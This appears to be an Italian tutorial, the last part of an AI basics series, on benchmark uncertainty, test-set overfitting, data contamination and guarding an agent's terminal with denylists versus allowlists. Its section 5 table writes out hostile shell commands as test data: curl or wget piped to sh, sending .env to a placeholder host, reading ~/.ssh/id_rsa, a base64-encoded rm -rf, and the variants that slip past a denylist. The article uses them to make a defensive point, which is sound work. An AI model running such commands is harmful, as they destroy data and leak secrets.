Valutazione e sicurezza dei sistemi di IA: come misurare e come sorvegliare
I benchmark e l’incertezza della misura, come la scelta in base all’insieme di test gonfia i risultati, la contaminazione dei dati in un esperimento, i tipi di rischio, il filtro dei comandi di un agente come divieto contro permesso e la difesa in profondità.
Serie Basi di IA Parte 52 di 52
- Mappa dell’intelligenza artificiale: che cos’è ciascuna cosa e come si incastra tutto
- Breve storia dell’intelligenza artificiale: da Turing ai modelli linguistici
- Dati, modello, addestramento, inferenza: i concetti di base su un unico esempio
- Come leggere la notazione matematica: simboli, indici, sommatorie e quantificatori
- Insiemi e relazioni: i mattoncini con cui si costruiscono le definizioni nell’IA
- Funzioni e applicazioni: perché ogni modello di IA è una funzione
- Logica e dimostrazioni: le regole con cui si ragiona nell’IA
- Grafi e alberi: la struttura su cui poggiano la ricerca e le reti neurali
- Algebra lineare per l’apprendimento automatico: vettori, matrici e perché l’IA soprattutto moltiplica
- Derivate, gradiente e regola della catena: come un modello capisce in quale direzione imparare
- Discesa del gradiente: come impara un modello
- Che cos’è la probabilità: dal lancio di un dado agli assiomi di Kolmogorov
- Probabilità condizionata e teorema di Bayes: come cambiare una stima quando scopri qualcosa di nuovo
- Variabile aleatoria e funzione di ripartizione: una sola funzione che dice tutto sulla distribuzione
- Funzione di densità e funzione di massa: perché una variabile continua ha probabilità zero in un punto
- Valore atteso, varianza e covarianza: dove si trova una distribuzione, quanto è larga e che cosa è legato a che cosa
- Panoramica delle distribuzioni di probabilità: Bernoulli, binomiale, Poisson, uniforme, normale ed esponenziale
- Legge dei grandi numeri e teorema del limite centrale: perché le medie si comportano in modo così prevedibile
- Statistica e stima dei parametri: massima verosimiglianza, MAP e intervalli di confidenza
- Teoria dell’informazione: entropia, entropia incrociata e divergenza KL — da dove vengono le funzioni di perdita
- Ricerca nello spazio degli stati: BFS, DFS, UCS e A* con animazioni
- Giochi e avversari: minimax, potatura alfa-beta e Monte Carlo tree search
- Soddisfacimento di vincoli: backtracking, propagazione dei vincoli e AC-3 su un sudoku e una mappa delle regioni ceche
- Logica e sistemi basati sulla conoscenza: concatenazione in avanti e all’indietro, risoluzione e sistemi esperti
- Pianificazione: STRIPS, il mondo dei blocchi, euristiche dal rilassamento e pianificazione negli agenti IA
- Ricerca locale e ricottura simulata: un commesso viaggiatore tra i capoluoghi di regione cechi
- Algoritmi genetici: popolazione, incrocio, mutazione e selezione su uno zaino per l’escursione
- Strategie evolutive e programmazione genetica: dalla regola di un quinto alla legge di Keplero
- Ottimizzazione con colonie di formiche: come una traccia di feromone trova un percorso breve
- Ottimizzazione a sciame di particelle: inerzia, esperienza propria ed esperienza dello sciame
- Neuroevoluzione: evoluzione dei pesi e della forma delle reti neurali e l’algoritmo NEAT
- Insiemi fuzzy e funzioni di appartenenza: come scrivere «un po’ caldo»
- Logica fuzzy e probabilità: perché «un po’ caldo» non significa «probabilmente caldo»
- Logica fuzzy: t-norme, implicazioni e regole SE–ALLORA
- Controllo fuzzy: Mamdani e Sugeno, dal ventilatore al pendolo inverso su un carrello
- Clustering fuzzy: l’algoritmo fuzzy c-means e i punti tra i cluster
- Sistemi neuro-fuzzy (ANFIS): regole fuzzy che imparano dai dati
- Catene di Markov: matrice di transizione, distribuzione stazionaria e PageRank
- Modelli di Markov nascosti: l’algoritmo di Viterbi e il casinò disonesto
- Reti bayesiane: perché l’erba è bagnata e che cosa significa per l’irrigatore
- Filtro di Kalman: come stimare da misure imprecise dove si trova un’auto e a che velocità va
- Tipi di apprendimento automatico: supervisionato, non supervisionato, semi-supervisionato e altri
- Prompt, contesto e RAG: come dare a un modello le informazioni giuste
- Autoencoder variazionali (VAE): immagini nuove da uno spazio latente continuo
- Reti generative avversarie (GAN): il falsario contro il detective
- Modelli di diffusione: come il rumore puro diventa un’immagine
- Processi decisionali di Markov: stati, azioni, ricompense ed equazioni di Bellman
- Q-learning e DQN: imparare il valore delle azioni, dalla tabella alla rete neurale
- Policy gradient e PPO: imparare direttamente la politica
- Come funziona un agente IA: un modello linguistico in un ciclo con strumenti
- Programmare con agenti IA: incarico, test e controllo
- Valutazione e sicurezza dei sistemi di IA: come misurare e come sorvegliare
Programma completo della serie 52 di 83 argomenti pubblicati
- Perché una differenza di pochi punti percentuali in un benchmark spesso non significa nulla.
- Come si consuma un insieme di test e che cosa fa la contaminazione.
- Perché a un agente conviene consentire invece di vietare e come sommare gli strati di protezione.
Utile sapere prima: Come funziona un agente IA: un modello linguistico in un ciclo con strumenti, Programmare con agenti IA: incarico, test e controllo
«Il nuovo modello è migliore di 3 punti.» «L’agente è sicuro, ha il divieto dei comandi pericolosi.» Entrambe le frasi suonano rassicuranti ed entrambe possono essere false senza che nessuno menta. La prima per il modo in cui si misura, la seconda per il modo in cui si vieta. Nell’ultima parte della sezione sugli agenti guardiamo le due domande che si pongono più spesso sui sistemi di IA: come capire che cosa sanno fare davvero e come fare in modo che non facciano ciò che non devono.
Questa parte fa seguito alle parti Valutazione dei modelli, Come funziona un agente IA e Programmare con gli agenti IA.
1. Come si misura che cosa sa fare un modello
Definizione — benchmark
Un benchmark è un insieme fisso di compiti con risposte corrette note e una regola di valutazione, su cui si confrontano i modelli: domande a scelta multipla di molti ambiti (MMLU), problemi di matematica a parole (GSM8K), correzioni di bug reali in progetti open source verificate da test (SWE-bench). Il risultato è di solito la quota di compiti risolti correttamente. Lo completano i confronti fatti da persone (le persone votano quale di due risposte anonime è migliore) e i tuoi test sui compiti che contano per te.
Un benchmark è un compito in classe che tutti fanno uguale. È utile per confrontare, ma dice solo come il modello se la cava con quel compito. Se saprà fare il tuo lavoro lo scopri solo dandogli il tuo lavoro.
Anche un compito onesto ha però una precisione limitata. Un modello che risolve l’82 % di 200 compiti ha un intervallo di confidenza al 95 % da 76,1 a 86,7 %; un modello all’85 % ha da 79,4 a 89,3 %. Gli intervalli si sovrappongono in gran parte — da una misura del genere non si può dire quale sia migliore. Su 2 000 compiti l’intervallo per l’82 % andrebbe solo da 80,3 a 83,6 %. Ogni volta che vedi una differenza di pochi punti percentuali, chiediti su quanti compiti è stata misurata.
Definizione — intervallo di confidenza al 95 %
Il modello risolve ogni compito con una probabilità sconosciuta p; su n compiti misuriamo la quota p̂. Un intervallo di confidenza al 95 % è un procedimento che da p̂ e n calcola un intervallo tale che, se ripetessimo la misura su nuovi insiemi, conterrebbe il vero p nel 95 % dei casi. Non è l’affermazione «p sta nell’intervallo con probabilità 95 %» — casuale è l’intervallo, non p.
In questa parte calcoliamo gli intervalli con la formula di Wilson (Edwin B. Wilson, 1927). A differenza del semplice p̂ ± 1,96 · √(p̂(1 − p̂) / n) non esce da 0 e 100 % e funziona anche per quote vicine agli estremi:
( p̂ + z2 / 2n ± z √( p̂(1 − p̂) / n + z2 / 4n2 ) ) / ( 1 + z2 / n )
- p̂
- la quota misurata di risposte corrette — il punto di partenza attorno a cui costruiamo l’intervallo
- z2 / 2n
- uno spostamento verso il centro: come se ai risultati aggiungessimo z2/2 ≈ 2 risposte corrette e 2 sbagliate. Così un insieme piccolo non può affermare «100 %, intervallo di ampiezza nulla»
- z √(…)
- metà dell’ampiezza dell’intervallo; il primo termine sotto la radice è la varianza della quota misurata, che diminuisce con n — per questo quattro volte più compiti danno un intervallo solo dimezzato
- 1 + z2 / n
- il denominatore riporta il centro spostato e l’ampiezza alla scala giusta; per n grande vale quasi 1 e la formula diventa il semplice p̂ ± z · √(p̂(1 − p̂) / n)
Esempio — intervallo per l’82 % di 200 compiti e differenza tra due modelli
z2 = 1,962 = 3,8416. Centro: 0,82 + 3,8416 / 400 = 0,8296. Metà ampiezza: 1,96 · √(0,82 · 0,18 / 200 + 3,8416 / 160 000) = 1,96 · √(0,000738 + 0,000024) = 0,0541. Denominatore: 1 + 3,8416 / 200 = 1,0192.
Intervallo: da (0,8296 − 0,0541) / 1,0192 = 0,7609 a (0,8296 + 0,0541) / 1,0192 = 0,8671, cioè da 76,1 a 86,7 %.
La differenza tra 85 % e 82 % è reale? L’errore standard della differenza di due quote indipendenti è √(0,82 · 0,18 / 200 + 0,85 · 0,15 / 200) = 0,0371, quindi l’intervallo di confidenza al 95 % della differenza è 3 ± 1,96 · 3,71 = 3 ± 7,3 punti. Contiene lo zero — la differenza non si distingue dal caso. (Quando entrambi i modelli risolvono gli stessi compiti, si può misurare in modo più sensibile a coppie, solo sui compiti in cui differiscono.)
Quanti compiti servono perché metà ampiezza sia 1 punto? Da z √(p(1 − p) / n) ≤ 0,01 segue n ≥ z2 p(1 − p) / 0,012 = 3,8416 · 0,82 · 0,18 / 0,0001 ≈ 5 671 compiti.
2. L’insieme di test si consuma
Definizione — overfitting adattivo sull’insieme di test
Quando si sceglie ripetutamente in base ai risultati sullo stesso insieme di test — la migliore tra molte varianti, impostazioni, prompt —, il risultato smette di essere una stima imparziale. La variante scelta è la migliore in parte solo perché il caso l’ha favorita su quell’insieme. Su dati nuovi andrà peggio. Più in generale lo descrive la legge di Goodhart: quando una misura diventa un obiettivo, smette di misurare bene.
Cento studenti, tutti ugualmente bravi, fanno lo stesso test. Qualcuno di loro avrà il risultato migliore — non perché sia più bravo, ma perché ha tirato a indovinare giusto. Chi sceglie «lo studente migliore» in base a un solo test sceglie soprattutto la fortuna.
Esperimento: K varianti di un modello, tutte con accuratezza reale del 70 %, le misuriamo sullo stesso insieme e annunciamo il risultato della migliore. Media su 300 ripetizioni:
Su un insieme di 100 compiti la scelta tra 100 varianti annuncia in media 81,1 % e tra 500 varianti 83,2 % — 13 punti in più di quanto una qualsiasi di esse sappia fare davvero. Un insieme più grande aiuta (con 1 000 compiti 73,6 %), ma il problema non scompare. Le varianti dell’esperimento sbagliano in modo indipendente; le varianti reali di uno stesso modello fanno errori simili, quindi l’effetto è di solito minore — ma la direzione è la stessa. Protezione: scegliere su un insieme (di validazione) e misurare il numero finale una volta sola su un altro insieme, intatto.
Perché venga così si può calcolare esattamente. Il numero di compiti X che una variante risolve ha distribuzione binomiale Bin(n, 0,7). La migliore tra K varianti arriva ad almeno t compiti quando ci riesce almeno una di esse:
P(max ≥ t) = 1 − ( 1 − P(X ≥ t) )K
- P(X ≥ t)
- la probabilità che una variante risolva per caso almeno t compiti; per t sopra il livello reale è piccola — ed è proprio di questa che vive la scelta
- K
- il numero di varianti provate; all’esponente perché (1 − P)K è la probabilità che non ci riesca nessuna delle varianti indipendenti
- P(max ≥ t)
- la probabilità che il risultato annunciato (il migliore) arrivi a t; al crescere di K si avvicina a uno anche per t alti
Esempio — 80 % di 100 compiti
Una variante: X ~ Bin(100; 0,7) ha valore atteso 70 e deviazione standard √(100 · 0,7 · 0,3) = 4,58 compiti. Ne risolve almeno 80 con probabilità P(X ≥ 80) = 0,0165, cioè circa nel 1,6 % dei casi — più di due deviazioni standard sopra la media.
Tra 100 varianti: P(max ≥ 80) = 1 − (1 − 0,0165)100 = 0,810. Il risultato «80 % o più», raro per una singola variante, lo annunciamo in quattro esperimenti su cinque.
Il valore atteso del risultato migliore si calcola dalla formula senza simulazione: E[max] = ∑t=1n P(max ≥ t). Viene 81,1 % per 100 varianti, 83,2 % per 500 varianti e 73,6 % per 100 varianti su un insieme di 1 000 compiti — lo stesso che ha dato la simulazione con 300 ripetizioni (81,1, 83,2 e 73,6 %).
3. Contaminazione: il modello ha visto le risposte
Definizione — contaminazione dei dati
La contaminazione si verifica quando i compiti di test (o loro copie molto simili) finiscono nei dati di addestramento. Per i grandi modelli linguistici, addestrati su gran parte di Internet, è un problema serio: i benchmark sono pubblici, spesso con le soluzioni, e il modello potrebbe averli memorizzati. Il risultato misurato misura allora la memoria, non la capacità.
Uno studente che si è procurato il testo del compito con i risultati. Prende dieci — e questo non dice nulla sul fatto che sappia fare i conti.
Esperimento sulle cifre 8 × 8 della parte sul clustering: un classificatore del vicino più prossimo impara solo da tre esempi di ogni cifra, quindi sulle 200 cifre di test ha onestamente il 60 %. Poi una parte delle cifre di test «trapela» nei dati di addestramento:
ŷ(x) = yi*, i* = argmini ∈ addestramento ∑j=164 (xj − xi,j)2
- ∑ (xj − xi,j)2
- il quadrato della distanza euclidea tra due immagini di 64 pixel; piccolo quando le immagini si somigliano
- argmini ∈ addestramento
- quale esempio di addestramento è il più vicino — si cerca solo tra ciò che il modello «ha visto»; per questo la fuga dei dati di test cambia direttamente le risposte
- yi*
- la risposta è la cifra del vicino più prossimo; nessuna generalizzazione, solo «assomiglia a quello»
Con una fuga del 10 % l’accuratezza sale al 69 %, con il 25 % al 79 %, con metà al 92 % e con l’intero insieme di test al 100 %. È interessante che migliorino anche le cifre che non sono trapelate (con una fuga di metà 86 % invece di 60 %): gli esempi trapelati somigliano agli altri di test e quindi aiutano anche con quelli. Per questo non basta controllare se il modello ha visto esattamente la stessa domanda — basta che ne abbia viste di simili. Difesa: insiemi di test non pubblici, compiti nuovi creati solo dopo la fine dell’addestramento del modello e il controllo che il modello non sappia «completare» il compito a memoria.
4. Che cosa può andare storto
La sicurezza dei sistemi di IA non è una cosa sola. Aiuta distinguere da dove arriva il danno:
- Errori — il modello sbaglia o si inventa le cose (allucinazioni) e una persona gli crede.
- Abuso — qualcuno usa il modello per fare danni: e-mail truffaldine, aiuto in un attacco, disinformazione.
- Attacchi al sistema — una prompt injection in un documento o sul web prende il controllo dell’agente; un «jailbreak» aggira le regole del modello.
- Azioni pericolose — un agente con accesso a un computer o ad account fa qualcosa di irreversibile, anche se nessuno lo voleva.
- Disallineamento degli obiettivi — il sistema ottimizza esattamente ciò che gli abbiamo assegnato invece di ciò che volevamo (sovraottimizzazione della ricompensa). Con la crescente autonomia dei sistemi questo è un tema sia di ricerca sia di regolamentazione.
5. Vietare o consentire
Un esempio concreto dalla pratica degli agenti: l’agente può eseguire comandi nel terminale. Come impedirgli di lanciare qualcosa di pericoloso? Confrontiamo due filtri su 28 comandi — 12 comuni (test, git, elenco dei file) e 16 pericolosi (cancellazione, invio di dati all’esterno, esecuzione di uno script altrui).
Definizione — lista di divieti e lista di permessi
Una lista di divieti (denylist) blocca gli schemi pericolosi elencati e lascia passare tutto il resto. Una lista di permessi (allowlist) lascia passare solo i comandi sicuri elencati e ferma tutto il resto — per un agente tipicamente così che debba dare il via libera una persona. Il principio di sicurezza del privilegio minimo raccomanda la seconda.
Un portiere con l’elenco delle persone che non possono entrare fa passare chiunque non sia sull’elenco — compreso il ladro con un altro cappotto. Un portiere con l’elenco delle persone che possono entrare fa passare solo loro; gli altri aspettano che qualcuno venga a prenderli.
Il divieto contiene gli schemi «rm -rf», «curl | sh», «DROP TABLE», «--force», «.ssh». Il permesso lascia passare solo l’elenco e la lettura dei file, git senza scrittura, l’avvio dei test e la creazione di una cartella, e questo senza pipe e punti e virgola.
il divieto lascia passare c ⇔ ¬ ∃ z ∈ Z: z è una sottostringa di c
il permesso lascia passare c ⇔ ∃ a ∈ A: c inizia con a ∧ c non contiene | ; & ` $
- ¬ ∃ z ∈ Z
- divieto: lascia passare tutto ciò in cui non trova nessuno degli schemi vietati. La risposta predefinita è «sì» — ogni scrittura a cui l’autore non ha pensato passa
- ∃ a ∈ A: c inizia con a
- permesso: lascia passare solo un comando che inizia con uno dei prefissi consentiti. La risposta predefinita è «no» — un comando sconosciuto aspetta una persona
- senza | ; & ` $
- senza questo un inizio consentito si potrebbe «allungare»:
git status; rm -rf ~inizia con il consentitogit status
| comando | pericoloso | il divieto ferma | il permesso ferma |
|---|---|---|---|
ls -la src | no | — | — |
cat package.json | no | — | — |
grep -rn "sazba" src | no | — | — |
git status | no | — | — |
git diff | no | — | — |
git log --oneline -5 | no | — | — |
npm test | no | — | — |
node --test test/kosik.test.js | no | — | — |
npm install fast-check | no | — | sì |
mkdir -p test/data | no | — | — |
git commit -m "Sleva v košíku" | no | — | sì |
rm build/cache.tmp | no | — | sì |
rm -rf / | sì | sì | sì |
rm -rf ~ | sì | sì | sì |
rm -r -f ~/projekty | sì | — | sì |
rm -fr .git | sì | — | sì |
find . -name "*.js" -delete | sì | — | sì |
git push --force origin main | sì | sì | sì |
git reset --hard HEAD~10 | sì | — | sì |
curl https://neznamy.example/x.sh | sh | sì | — | sì |
wget -qO- https://neznamy.example/x.sh | bash | sì | — | sì |
cat ~/.ssh/id_rsa | sì | sì | sì |
cat .env | curl -d @- https://neznamy.example | sì | — | sì |
echo cm0gLXJmIH4= | base64 -d | sh | sì | — | sì |
psql -c "DROP TABLE objednavky" | sì | sì | sì |
chmod -R 777 / | sì | — | sì |
node -e "require('fs').rmSync('.', {recursive: true})" | sì | — | sì |
python3 -c "import shutil; shutil.rmtree('src')" | sì | — | sì |
Il divieto ha fermato solo 5 dei 16 comandi pericolosi. Basta
scrivere rm -r -f invece di rm -rf, cancellare i file con find -delete o con
Python, scaricare lo script con wget invece di curl, oppure codificare il comando in
base64. Una lista di divieti è sempre un passo indietro rispetto all’inventiva — e un modello linguistico è
inventivo anche quando non vuole danneggiare nessuno; cerca solo un’altra strada per portare a termine il compito.
Il permesso li ha fermati tutti e 16. Il prezzo:
3 dei 12 comandi comuni (installazione di una libreria, commit,
cancellazione di un file temporaneo) li deve approvare una persona. È esattamente il ruolo della persona nella
supervisione di un agente: decidere nei casi che le regole non coprono.
Esempio — i filtri come classificatori
Un filtro è un classificatore con classe positiva «pericoloso», quindi si può descrivere con i numeri della parte sulla valutazione. Il richiamo (TPR, la quota di comandi pericolosi fermati) e la quota di falsi allarmi (FPR, la quota di comandi comuni fermati):
Divieto: TPR = 5 / 16 = 0,313, FPR = 0 / 12 = 0,00. Permesso: TPR = 16 / 16 = 1,00, FPR = 3 / 12 = 0,25.
Un falso allarme qui costa qualche secondo a una persona che clicca su «approva»; un comando pericoloso sfuggito può costare l’intero progetto. Con costi così asimmetrici conviene un filtro con richiamo alto anche a prezzo di falsi allarmi — cioè il permesso.
6. Difesa in profondità
Nessuno strato basta da solo — il modello si può convincere, il filtro aggirare, la persona si stanca. Per questo gli strati si sommano:
- Il modello — un affinamento perché rifiuti le richieste dannose e ammetta l’incertezza (la parte sull’RLHF).
- Istruzioni e separazione dei dati — un prompt di sistema, testi dal web e dai documenti marcati come dati, non come comandi.
- Permessi — strumenti con i minimi diritti necessari, liste di permessi, account e chiavi separati.
- Isolamento — l’agente gira in un container o in una macchina virtuale, senza accesso a ciò che non gli serve.
- Persona nel ciclo — l’approvazione dei passi irreversibili e insoliti.
- Registrazione e controllo — ciò che l’agente ha fatto si può ricostruire a posteriori e annullare (git, backup, log).
Pdanno = p1 · p2 · … · pm
- p1
- la probabilità che il primo strato lasci passare l’azione dannosa (per esempio il modello non la rifiuta)
- p2
- la probabilità che la lasci passare il secondo strato (il filtro dei comandi) — si moltiplica perché l’azione deve superare tutti gli strati
- pm
- l’ultimo strato (isolamento, backup); ogni strato in più con p < 1 riduce il risultato, anche se da solo è debole
- Pdanno
- la probabilità che l’azione dannosa arrivi fino in fondo
Quattro strati, ciascuno dei quali lascia passare il 10 % delle azioni dannose, danno 0,14 = 0,0001 — una su diecimila. Solo che gli strati di solito non sono indipendenti: una prompt injection che convince il modello spesso convince anche la persona che approva in base alla spiegazione del modello. Se il secondo, il terzo e il quarto strato si lasciassero ingannare ogni volta che si inganna il primo, resterebbe Pdanno = 0,1. Per questo gli strati devono poggiare su principi diversi: il modello sul contenuto, il filtro sulla sintassi del comando, l’isolamento su ciò a cui il processo ha accesso in assoluto.
Definizione — red teaming e valutazione delle capacità pericolose
Il red teaming è la ricerca mirata dei fallimenti: persone (e sempre più spesso altri modelli) cercano di spingere il sistema a fare ciò che non deve, e le debolezze trovate vengono corrette. La valutazione delle capacità pericolose misura se il modello sa svolgere compiti che potrebbero portare a un danno grave (per esempio aiutare in un attacco informatico), e i grandi sviluppatori in base ai risultati rafforzano le protezioni prima di pubblicare il modello.
Una banca assume uno scassinatore perché provi a svaligiare il caveau — prima che ci provi uno vero. Ogni falla che trova è una falla che nessun altro troverà più.
Alle misure tecniche si aggiunge anche la regolamentazione. Il regolamento europeo sull’intelligenza artificiale (AI Act, in vigore dal 2024 e applicato gradualmente) suddivide i sistemi in base al rischio: alcune pratiche le vieta del tutto e impone obblighi dettagliati ai sistemi ad alto rischio che decidono sulle persone — nelle assunzioni, nei crediti o nella sanità.
7. Riepilogo
- Un benchmark è un compito in classe: utile per confrontare, ma con una precisione limitata. Su 200 compiti l’82 % ha un intervallo da 76,1 a 86,7 %.
- Scegliere in base allo stesso insieme di test gonfia il risultato: la scelta tra 100 varianti con accuratezza reale del 70 % annuncia 81,1 %.
- La contaminazione misura la memoria invece della capacità; la fuga di metà del test ha alzato l’accuratezza dal 60 % al 92 %.
- Rischi: errori, abuso, attacchi al sistema, azioni pericolose e disallineamento degli obiettivi.
- La lista di divieti ha fermato 5 dei 16 comandi pericolosi, la lista di permessi tutti e 16 — al prezzo delle approvazioni.
- La sicurezza poggia sugli strati: modello, separazione dei dati, permessi, isolamento, persona nel ciclo e registrazione.
Vuoi toccarlo con mano? Scrivi dieci compiti del tuo lavoro con i risultati corretti e fai confrontare a un agente IA due modelli su di essi — e fagli aggiungere al risultato un intervallo di confidenza. Poi prova a inventare tre comandi che aggirerebbero il filtro a divieti del tuo agente.
La vedi diversamente? Scrivi a support@coden-app.com.